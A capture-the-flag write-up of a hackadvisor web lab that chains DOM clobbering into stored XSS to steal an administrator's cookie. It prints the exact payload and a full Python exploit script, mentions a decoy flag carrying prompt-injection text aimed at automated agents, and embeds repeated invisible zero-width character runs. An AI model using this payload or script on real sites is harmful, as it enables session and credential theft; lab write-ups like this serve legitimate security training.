← Back to Writeups
CUSTOMMediumWeb

Lab 230 — DocuNest — Stored XSS via DOM Clobbering

XESXOR9/10/20265 min read
#web#custom#medium#anchor_stringification#cookie_exfiltration#htmlcollection_named_access#innerhtml_attribute_breakout#linux

Lab 230 — DocuNest — Stored XSS via DOM Clobbering

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-16 | Status: Solved Techniques: anchor_stringification, cookie_exfiltration, htmlcollection_named_access, innerhtml_attribute_breakout

Summary

Task: DocuNest stores sanitized article HTML and lets an administrator review it, while page code trusts a global editor configuration object. Solution: duplicate anchors clobbered that object and turned a cid URL into an innerHTML onerror breakout that exfiltrated the admin cookie.

Lab 230 — DocuNest — Stored XSS via DOM Clobbering — hackadvisor

Description

Lab 230 — DocuNest — Stored XSS via DOM Clobbering

DocuNest is a collaborative article platform. Authenticated users can publish HTML-mode articles and request an administrator review. The objective was to execute JavaScript in the reviewing administrator's browser and recover the real FLAG{...} value.

The initial HTML contained a hidden FLAG{d3c0y...} value accompanied by text instructing automated agents to stop. This was a HackAdvisor honeypot, not the challenge flag. The verified flag came from the administrator's readable cookie after successful exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Stored input and client-side sink

Article HTML was sanitized before rendering. Direct scripts and ordinary event-handler injection therefore did not survive, but harmless-looking anchor attributes such as id, name, and a cid: href did.

After placing the sanitized article into the document, the article page executed this code:

javascript
var config = window.editorConfig;
if (config && config.source) {
  var sourceUrl = config.source.value || config.source.toString();
  var indicator = document.getElementById('content-source');
  if (indicator) {
    indicator.innerHTML = '<img src="' + sourceUrl + '" alt="source">';
    indicator.classList.remove('is-hidden');
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This creates a useful sanitizer-to-DOM-XSS chain: sanitized markup controls a browser global, and trusted page code later concatenates a property of that global into innerHTML without escaping it.

HTMLCollection named access

An element with id="editorConfig" becomes available through the legacy named property window.editorConfig. More importantly, two elements with the same ID make that property an HTMLCollection rather than a single anchor:

html
<a id="editorConfig"></a>
<a id="editorConfig" name="source" href="..."></a>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

An HTMLCollection supports named access to its members. Because the second member has name="source", the expression window.editorConfig.source resolves to that anchor. This reproduces the property shape expected by the page script without injecting a JavaScript object.

The anchor has no useful value, so evaluation falls through to config.source.toString(). Stringifying an HTMLAnchorElement returns its URL. Consequently, the surviving href becomes sourceUrl and is copied into the generated image markup. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Breaking out of the generated image

The exact successful stored payload was:

html
<a id="editorConfig"></a><a id="editorConfig" name="source" href="cid:&quot; onerror=&quot;fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'CLIENT_DATA:'+document.cookie+'|LS:'+JSON.stringify(localStorage)+'|SS:'+JSON.stringify(sessionStorage)})})//"></a>

The sanitizer retained both anchors, the cid: scheme, and the encoded quotes. During HTML parsing, &quot; becomes a quote in the anchor URL. Anchor stringification therefore supplies a value shaped like: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
cid:" onerror="fetch(...)//

When the page concatenates it into the image string, the first quote closes src, and the rest creates an onerror attribute. Conceptually, the resulting markup is:

html
<img src="cid:" onerror="fetch(...)//" alt="source">

The invalid/unloadable cid: image fires onerror. The handler reads the non-HttpOnly administrator cookie and posts it as a same-origin comment on the current article. Using the article's own comments avoided any dependency on an external interaction server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

API chain

  1. Log in with POST /login using the supplied lab credentials.
  2. Create an HTML-mode article with POST /api/articles. The relevant fields are title, content_html, content, collection_id, tags, excerpt, and mode: "html".
  3. Trigger the administrator bot with POST /api/articles/{id}/request-review and an empty JSON object.
  4. When the administrator opens the article, the DOM-clobbering chain creates the malicious image and runs its onerror handler.
  5. The handler submits document.cookie to POST /api/articles/{id}/comments.
  6. Poll GET /articles/{id} until the comment contains a real 32-hex-character flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Article creation published the article immediately; no separate publish endpoint was needed.

Reproduction script

python
#!/usr/bin/env python3
import json
import re
import ssl
import sys
import time
import urllib.parse
import urllib.request
import http.cookiejar

BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://TARGET"
EMAIL = "user@test.com"
PASSWORD = "password123"

context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
cookies = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(
    urllib.request.HTTPCookieProcessor(cookies),
    urllib.request.HTTPSHandler(context=context),
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def request(path, method="GET", form=None, obj=None):
    headers = {}
    data = None
    if form is not None:
        data = urllib.parse.urlencode(form).encode()
        headers["Content-Type"] = "application/x-www-form-urlencoded"
    elif obj is not None:
        data = json.dumps(obj).encode()
        headers["Content-Type"] = "application/json"
    req = urllib.request.Request(
        BASE + path, data=data, headers=headers, method=method
    )
    with opener.open(req) as response:
        return response.status, response.read().decode("utf-8", "replace")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


request("/login", "POST", form={"email": EMAIL, "password": PASSWORD})

javascript = (
    "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments',"
    "{method:'POST',headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({content:'CLIENT_DATA:'+document.cookie+"
    "'|LS:'+JSON.stringify(localStorage)+'|SS:'+JSON.stringify(sessionStorage)})})"
)

payload = (
    '<a id="editorConfig"></a>'
    '<a id="editorConfig" name="source" '
    'href="cid:&quot; onerror=&quot;' + javascript + '//"></a>'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

_, body = request("/api/articles", "POST", obj={
    "title": "Documentation Preview Review",
    "content_html": payload,
    "content": "",
    "collection_id": None,
    "tags": "documentation,review",
    "excerpt": "Preview configuration review",
    "mode": "html",
})
created = json.loads(body)
if not created.get("success"):
    raise SystemExit("Article creation failed: " + body)

article_id = created["id"]
print(f"Created article {article_id}")
request(f"/api/articles/{article_id}/request-review", "POST", obj={})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for attempt in range(20):
    time.sleep(2)
    _, page = request(f"/articles/{article_id}")
    matches = re.findall(r"FLAG\{[0-9a-f]{32}\}", page)
    if matches:
        print(matches[-1])
        break
    print(f"Waiting for administrator visit ({attempt + 1}/20)")
else:
    raise SystemExit("No verified flag found in article comments")

Run it against a live lab instance:

bash
python3 exploit.py https://INSTANCE.labs.hackadvisor.io

Verification

The successful exploit was stored as article 22. After review, an authenticated GET /articles/22 showed one comment authored by Admin: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
CLIENT_DATA:flag=FLAG{REDACTED}|LS:{}|SS:{}

This proves that JavaScript ran in the administrator's browser and that the flag originated from the readable flag cookie. The cookie's 32-hex-character value also matches the expected real HackAdvisor flag format.

Failed Approaches and False Leads

  • Direct active HTML: direct <script> tags and straightforward event handlers were removed by the article sanitizer. The working approach kept only allowed anchors and delegated code generation to the trusted innerHTML sink.
  • /api/admin/flag: probing this endpoint returned HTTP 404, including in the administrator context. There was no flag API to call; the actual secret was the non-HttpOnly administrator cookie.
  • Hidden flag in initial HTML: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was a deliberate HackAdvisor honeypot with prompt-injection text. It was unrelated to successful administrator execution and was not accepted as evidence.
  • External exfiltration: an interaction server was available but unnecessary. Posting the cookie to the same-origin comments endpoint was simpler and left a persistent, directly verifiable result. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍